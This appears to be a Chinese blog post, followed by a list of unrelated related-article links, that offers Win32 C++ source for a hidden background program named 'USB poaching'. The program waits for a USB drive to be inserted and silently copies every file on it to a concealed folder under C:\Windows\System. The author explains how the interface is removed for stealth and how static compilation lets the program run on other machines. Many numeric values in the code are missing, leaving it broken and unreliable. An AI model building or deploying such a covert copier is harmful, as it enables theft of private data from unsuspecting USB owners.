自动拷贝U盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 // USB盗猎.cpp : 定义应用程序的入口点。
// 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
// 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译 #include "stdafx.h"
#include "USB助手.h"
#include <windows.h>
#include <iostream>
#include <string>
#include <strsafe.h>
#include <tchar.h>
#define MAX_PATH_ME 256
#define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") using namespace std;
void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{ CreateDirectory(SOURCE_PATH, NULL);
TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
TCHAR Path[MAX_PATH_ME] = TEXT("");
TCHAR Drive[] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
char i = ;
DWORD Drive_Old = GetLogicalDrives();
while ()
{
DWORD Drive_New = GetLogicalDrives();
if (Drive_Old != Drive_New)
{
Drive_New = Drive_New - Drive_Old;
while ()
{
if ((Drive_New & ) != )
break;
Drive_New >>= ;
i++;
}
break;
}
}
Sleep();
Path[] = Drive[i];
Path[] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
Traver_File(Path, szFile);
return ;
} void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
{
WIN32_FIND_DATAW lpFindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE; TCHAR szDir[MAX_PATH_ME];
TCHAR szDir1[MAX_PATH_ME] = TEXT("");
TCHAR szDir2[MAX_PATH_ME] = TEXT("");
TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); //获取源文件地址的操作
StringCchCopy(szDir, MAX_PATH_ME, Path);
StringCchCopy(szDir2, MAX_PATH_ME, szDir);
StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
hFind = FindFirstFileW(szDir, &lpFindFileData);
do
{
StringCchCopy(szFile, MAX_PATH_ME, szDir2);
StringCchCopy(szDir1, MAX_PATH_ME, szDir2); StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); if (lpFindFileData.cFileName[] == '.')
{
continue;
}
else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName); CreateDirectory(T_szDir1, NULL);
Traver_File(szDir1, T_szDir1);
}
else
{
StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName); CopyFile(szFile, T_szFile, false);
StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
StringCchCopy(T_szFile, MAX_PATH_ME, TEXT("")); }
} while (FindNextFileW(hFind, &lpFindFileData) != );
}

————本程序只可自己玩,不可另做它用!!!

USB助手的更多相关文章

  1. 杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用

    杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用 下载地址:http://files.cnblogs.com/guobaPlayer/%E8%93%9D%E6%9D%BEUSB%E4%B ...

  2. C# EPL USB 指令打印

    private void btnPrinter_Click(object sender, EventArgs e) { #region ESC 热敏图像点阵像素点读取打印 //Bitmap bitma ...

  3. C#调用斑马打印机打印条码标签(支持COM、LPT、USB、TCP连接方式和ZPL、EPL、CPCL指令)【转】

    原文地址:http://blog.csdn.net/ldljlq/article/details/7338772 在批量打印商品标签时一般都要加上条码或图片,而这类应用大多是使用斑马打印机,所以我也遇 ...

  4. Android开发--使用真机进行USB调试程序

    在android小程序的开发过程中,使用eclipse中的虚拟机进行程序开发速度较慢,用真机开发可以显著提高调试的速度. 这里我用的操作系统是win7专业版,手机型号HM1S: 进行USB调试的主要步 ...

  5. 解决魅族USB调试无法被电脑识别的问题(含Mac OS X、Win7)

      每次打开豌豆荚或者360手机助手之类手机助手后Eclipse才会检测到mx4(实际上是豌豆荚关闭eclipse的adb使用自己的驱动连接的).解决方法就是在"adb_usb.ini&qu ...

  6. 单片机usb转串口的时灵时不灵的解答

    写这篇博客,首先检讨一下自己,因为以前串口的程序,也和步进电机一样,时灵时不灵,我现在终于知道这是为什么了,因为51上有三个串口,一个公口,一个母口,一个usb转串口,这样的话,串口有3个了,我手头上 ...

  7. Bdsyn百度手机助手是何物,它是怎样神不知鬼不觉地安装到你的电脑里的?

    [电脑软件管理中Bdsyn手机助手的问题]Bdsyn手机助手 is developed by Baidu, Inc. and is used by 10 users of Software Infor ...

  8. ARM-LINUX学习笔记-(虚拟机linux串口终端以及USB程序下载,基于TQ2440)

    昨天安装了ssh服务之后今天在windows上用xshell登陆发现登录不上,原因是使用了virtualbox的NAT模式,在NAT模式下,客户机可以很方便地上网,但是想要链接宿主机就需要打开网络地址 ...

  9. Windows 10 IoT Serials 4 - 如何在树莓派上使用Cortana语音助手

    从Windows 10 IoT Core 14986版本开始,微软已经加入Cortana语音助手功能.之前,我们只能使用本地语音识别,需要编写应用程序,下载到设备中才能实现.从现在开始,微软已经从系统 ...

随机推荐

  1. 高级mask应用

    高级mask应用 用mask做遮罩可以实现复杂的效果: 用来形成遮罩的图片: 原始图片: 如果你熟悉Photoshop,那这种效果绝对是你的菜,看代码你会秒懂...... // // RootView ...

  2. linux下安装rar以及rar相关命令参数详解

    Linux平台默认是不支持RAR文件的解压,需要安装Linux版本的RAR压缩软件,下载地址:http://www.rarlab.com/download.htm 下载之后进行解压之后,进入rar目录 ...

  3. Hive开窗函数的理解

    1.从一个sql语句开始 select id,sum(price) over(partition by id order by price desc) from books; sum作为聚合函数的时候 ...

  4. Exchange2016 & Skype for business集成之二 OWA集成IM

    Microsoft Outlook Web App 和IM集成部署或升级Exchange server 2016与Skype for business 2015后使用原来2013版本方法集成OWA网页 ...

  5. 月报 提取/保存 到OneDrive. 并发送反馈邮件

  6. 使用Visual Studio Code编写和激活ABAP代码 (上)

    猪年春节后的第一篇,Jerry祝各位猪年大吉! 2019年的六分之一马上就快过完了,不知道大家在新的一年是否给自己定了新的小目标呢?这里Jerry先预祝大家到2019年年底的时候,在年初制定的小目标都 ...

  7. python接口测试-项目实践(八) 完成的接口类和执行脚本

    脱敏后脚本 projectapi.py: 项目接口类 # -*- coding:utf-8 -*- """ xx项目接口类 2018-11 dinghanhua &quo ...

  8. 2018-2019-2 网络对抗技术 20165322 Exp6 信息搜集与漏洞扫描

    2018-2019-2 网络对抗技术 20165322 Exp6 信息搜集与漏洞扫描 目录 实验原理 实验内容与步骤 各种搜索技巧的应用 DNS IP注册信息的查询 基本的扫描技术 漏洞扫描 基础问题 ...

  9. 2、Dubbo-核心概念

    dubbo核心概念 2.1).简介 Apache Dubbo (incubating) |ˈdʌbəʊ| 是一款高性能.轻量级的开源Java RPC框架, 它提供了三大核心能力:面向接口的远程方法调用 ...

  10. linq项目中例子实例

    在mvc项目中 var ls = (from i in gt.vendor_login                  join j in gt.vendor on i.vendor_id equa ...